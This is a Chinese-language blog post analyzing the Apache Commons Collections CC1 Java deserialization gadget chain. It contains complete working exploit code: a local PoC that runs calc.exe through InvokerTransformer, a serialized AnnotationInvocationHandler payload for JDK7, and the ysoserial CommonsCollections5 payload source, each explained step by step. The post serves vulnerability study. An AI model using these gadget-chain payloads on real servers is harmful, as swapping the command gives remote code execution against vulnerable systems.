前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Java CC1反序列化链分析

Java CC1反序列化链分析

作者头像
yulate
发布2023-05-02 11:22:27
5920
发布2023-05-02 11:22:27
举报

Java CC1反序列化链分析

[TOC]

一、从payload的角度分析

1、本地poc

Apache Commons Collections反序列化漏洞的主要问题在于Transformer这个接口类,Transformer类可以满足固定的类型转化需求,其转化函数可以自定义实现,漏洞点就在这里。 目前已知实现了Transformer接口的类,如下所示。而在Apache Commons Collections反序列漏洞中,会使用到ChainedTransformerConstantTransformerInvokerTransformer这三个类,这些类的具体作用我们在下面结合POC来看。

代码语言:javascript
复制
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Test1 {
    public static void main(String[] args) {
        // 1.
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };

        // 2.
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        // 3.
        HashMap hashMap = new HashMap();
        hashMap.put("key", "value");

        Map decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);
        Map.Entry next = (Map.Entry) decorate.entrySet().iterator().next();

        // 4.
        next.setValue("test");
    }
}

该POC可以分成四部分来分析:

代码语言:javascript
复制
创建transformer数组,构建漏洞核心利用代码
将transformers数组存入ChainedTransformer类
创建Map,给予map数据转换链
触发漏洞利用链,利用漏洞

2、POC流程分析

2.1 创建transformer数组
代码语言:javascript
复制
Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};

这里创建了个Transformer类型的数组,其中创建了四个对象,这四个对象分别使用了ConstantTransformerInvokerTransformer两个类。

ConstanTransformer:把一个对象转换为常量并返回

代码语言:javascript
复制
/**
 * Constructor that performs no validation.
 * Use <code>getInstance</code> if you want that.
 * 
 * @param constantToReturn  the constant to return each time
 */
public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}

InvokerTransformer:通过反射创建一个对象并返回

代码语言:javascript
复制
/**
 * Constructor that performs no validation.
 * Use <code>getInstance</code> if you want that.
 * 
 * @param methodName  the method to call
 * @param paramTypes  the constructor parameter types, not cloned
 * @param args  the constructor arguments, not cloned
 */
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}
2.2 将transformers数组存入ChainedTransformer类

创建一个ChainedTeansformer对象并将刚才创建的transformers传入其中

代码语言:javascript
复制
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

ChainedTransformer:将传入的transformers转换器链接在一起,并依次对象依次的进行转换。

2.3 创建Map,给予map数据转换链
代码语言:javascript
复制
HashMap hashMap = new HashMap();
hashMap.put("key", "value");

Map decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);
Map.Entry next = (Map.Entry) decorate.entrySet().iterator().next();

先是创建Map类,添加了一组数据("key", "value")

接着是给与map实现类的数据转换链。而在Apache Commons Collections中实现了TransformedMap类,该类可以在一个元素被添加/删除/或是被修改时,会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。即就是当数据发生改变时,可以进行一些提前设定好的操作

TransformedMap.decorate中传入了三个参数,第一个参数为刚才创建的Map调用了父类AbstractInputCheckedMapDecorator的构造函数,被保存为了this.map

image-20220505101441418
image-20220505101441418

第二个参数传入的是null,第三个参数为传入的chainedTransformer被初始化为this.valueTransformer的变量。

image-20220505101609955
image-20220505101609955

然后获取outerMap的第一个键值对(key,value),然后转化成Map.Entry形式。

image-20220505102200337
image-20220505102200337

最后利用Map.Entry取得第一个值,调用修改值的函数,触发下面的setValue( )代码。

image-20220505102259323
image-20220505102259323

3、漏洞触发

续接上文继续跟入setValue进行分析,首先会进入AbstractInputCheckedMapDecorator类,在这会对传入的值进行checkSetValue

image-20220505103757947
image-20220505103757947

继续跟进setValue的parent.checkSetValue会进入到TransoformedMap类

image-20220505104343978
image-20220505104343978

这里的valueTransformer就是最一开始我们创建的chainedTransformer对象,其中传入了transformers数组。

继续跟进是ChainedTransformer中的transform方法,这里对我们传入的transformers数组进行了遍历,先调用1次ConstantTransformer类,再调用3次InvokerTransformer类。需要注意在数组的循环中,前一次transform函数的返回值,会作为下一次transform函数的object参数输入。

3.1 第一次循环

首先遍历的是transformers中的ConstantTransformer,跟进看一下具体是怎么处理的

image-20220505105632851
image-20220505105632851

调用了ConstantTransformer中的transform方法将传入的Runtime.class转换为iConstant变量,并将返回值作为下一次transform函数的object参数输入。

image-20220505105900350
image-20220505105900350
image-20220505110247330
image-20220505110247330
3.2 第二次循环
image-20220505111014137
image-20220505111014137

调用InvokerTransformer中的transform方法,这个方法很明显的就是调用了反射机制

image-20220505111312271
image-20220505111312271

在InvokerTransformer的构造函数中需要先传入三个参数

  • 传入的方法名,类型为字符串
  • 方法的参数类型,类型为Class数组
  • 具体传入的数值,类型为Object数组
image-20220505111351922
image-20220505111351922

这里回想一下上一部处理中将java.Lang.Runtime作为值传入了这里,所以这一部分也就相当于如下的代码:

代码语言:javascript
复制
method = input.getClass().getMethod("getMethod",  new Class[] {String.class, Class[].class).invoke("java.Lang.Runtime", new Object[] {"getRuntime", new Class[0]});

即java.Lang.Runtime.getMethod("getRuntime",null),返回一个Runtime.getRuntime()方法,相当于产生一个字符串,但还没有执行"Rumtime.getRuntime( );"

3.3 第三次循环
image-20220505112736434
image-20220505112736434

这里跟第二次循环一样,同样进入到InvokerTransformer类的transform()方法,input为上次循环的返回值Runtime.getRuntime()。

代码语言:javascript
复制
method = input.getClass().getMethod("invoke",  new Class[] {Object.class, Object[].class }).invoke("Runtime.getRuntime()",  new Object[] {null, new Object[0]});

即Runtime.getRuntime().invoke(null),那么会返回一个Runtime对象实例。相当于执行了完成了:

代码语言:javascript
复制
Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);
3.4 第四次循环
image-20220505113014927
image-20220505113014927

同样进入到InvokerTransformer类的transform()方法,input为上次循环的返回值Runtime.getRuntime().invoke(null)

代码语言:javascript
复制
method = input.getClass().getMethod("exec",  new Class[] {String.class }).invoke("runtime", new Object[] {"calc.exe"});

即Runtime.getRuntime( ).exec("calc.exe"),至此成功完成漏洞利用链,执行系统命令语句,触发漏洞。

二、最终Payload

目前的POC只是被执行了,我们要利用此漏洞,就需要通过网络传输payload,在服务端对我们传过去的payload进行反序列时执行代码。而且该POC的关键依赖于Map中某一项去调用setValue( ) ,而这完全不可控。 因此就需要寻找一个可序列化类,该类重写了readObject( )方法,并且在readObject( )中进行了setValue( ) 操作,且这个Map变量是可控的。需要注意的时,在java中如果重写了某个类的方法,就会优先调用经过修改后的方法。 在java中,确实存在一个类AnnotationInvocationHandler,该类重写了readObject( )方法,并且执行了setValue( ) 操作,且Map变量可控,如果可以将TransformedMap装入这个AnnotationInvocationHandler类,再传过去,服务端在对其进行反序列化操作时,就会触发漏洞。

最后利用的payload如下:

代码语言:javascript
复制
package Serialize;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class ApacheSerialize implements Serializable {
    public static void main(String[] args) throws Exception{
        //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };

        //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
        Transformer transformerChain = new ChainedTransformer(transformers);

        //Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict
        Map map = new HashMap();
        map.put("value", "test");

        //Map数据结构,转换后的Map
        /*
        TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
            第一个参数为待转化的Map对象
            第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
            第三个参数为Map对象内的value要经过的转化方法。
       */
        //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        //反射机制调用AnnotationInvocationHandler类的构造函数
        //forName 获得类名对应的Class对象
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //通过反射调用私有的的结构:私有方法、属性、构造器
        //指定构造器

        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        //取消构造函数修饰符限制,保证构造器可访问
        ctor.setAccessible(true);

        //获取AnnotationInvocationHandler类实例
        //调用此构造器运行时类的对象
        Object instance=ctor.newInstance(Target.class, transformedMap);

        //序列化
        FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(instance);
        objectOutputStream.close();

        //反序列化
        FileInputStream fileInputStream = new FileInputStream("serialize.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        Object result = objectInputStream.readObject();
        objectInputStream.close();
        System.out.println(result);
    }
}

简单的分析调试一下这个payload,其他的部分其实没怎么变,主要的变化是通过反射调用了AnnotationInvocationHandler

该类中重写的readObject方法在被调用的时候将map转换为map.Enrty,并在这其中同时也调用了steValue方法,所以我们只需要将transformedMap装入AnnotationInvocationHandler再进行传输就可以不用考虑远程服务是否进行SetValue。

代码语言:javascript
复制
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

实际效果:

image-20220505141440278
image-20220505141440278

但是该方法只能在jdk7中使用,应为在jdk8中的AnnotationInvocationHandler.readObject方法做出了修改:

代码语言:javascript
复制
    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get("type", (Object)null);
        Map var4 = (Map)var2.get("memberValues", (Object)null);
        AnnotationType var5 = null;

        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();

        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Entry var9 = (Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                }
            }
        }

        AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
        AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
    }

他这里干脆不用setValue了。这该如何解决呢,我们可以去看一下在ysoserial中的cc1链是什么样的

代码语言:javascript
复制
package ysoserial.payloads;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import javax.management.BadAttributeValueExpException;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

/*
    Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

    Requires:
        commons-collections
 */
/*
This only works in JDK 8u76 and WITHOUT a security manager

https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
 */
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {

    public BadAttributeValueExpException getObject(final String command) throws Exception {
        final String[] execArgs = new String[] { command };
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
                new InvokerTransformer("exec",
                    new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        Reflections.setAccessible(valfield);
        valfield.set(val, entry);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

        return val;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections5.class, args);
    }

    public static boolean isApplicableJavaVersion() {
        return JavaVersion.isBadAttrValExcReadObj();
    }

}

这里使用了BadAttributeValueExpException来代替AnnotationInvocationHandler,但这其实也就是CC5的链子了。

浏览量: 292

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-5-05 1,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Java CC1反序列化链分析
    • 一、从payload的角度分析
      • 1、本地poc
      • 2、POC流程分析
      • 3、漏洞触发
    • 二、最终Payload
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档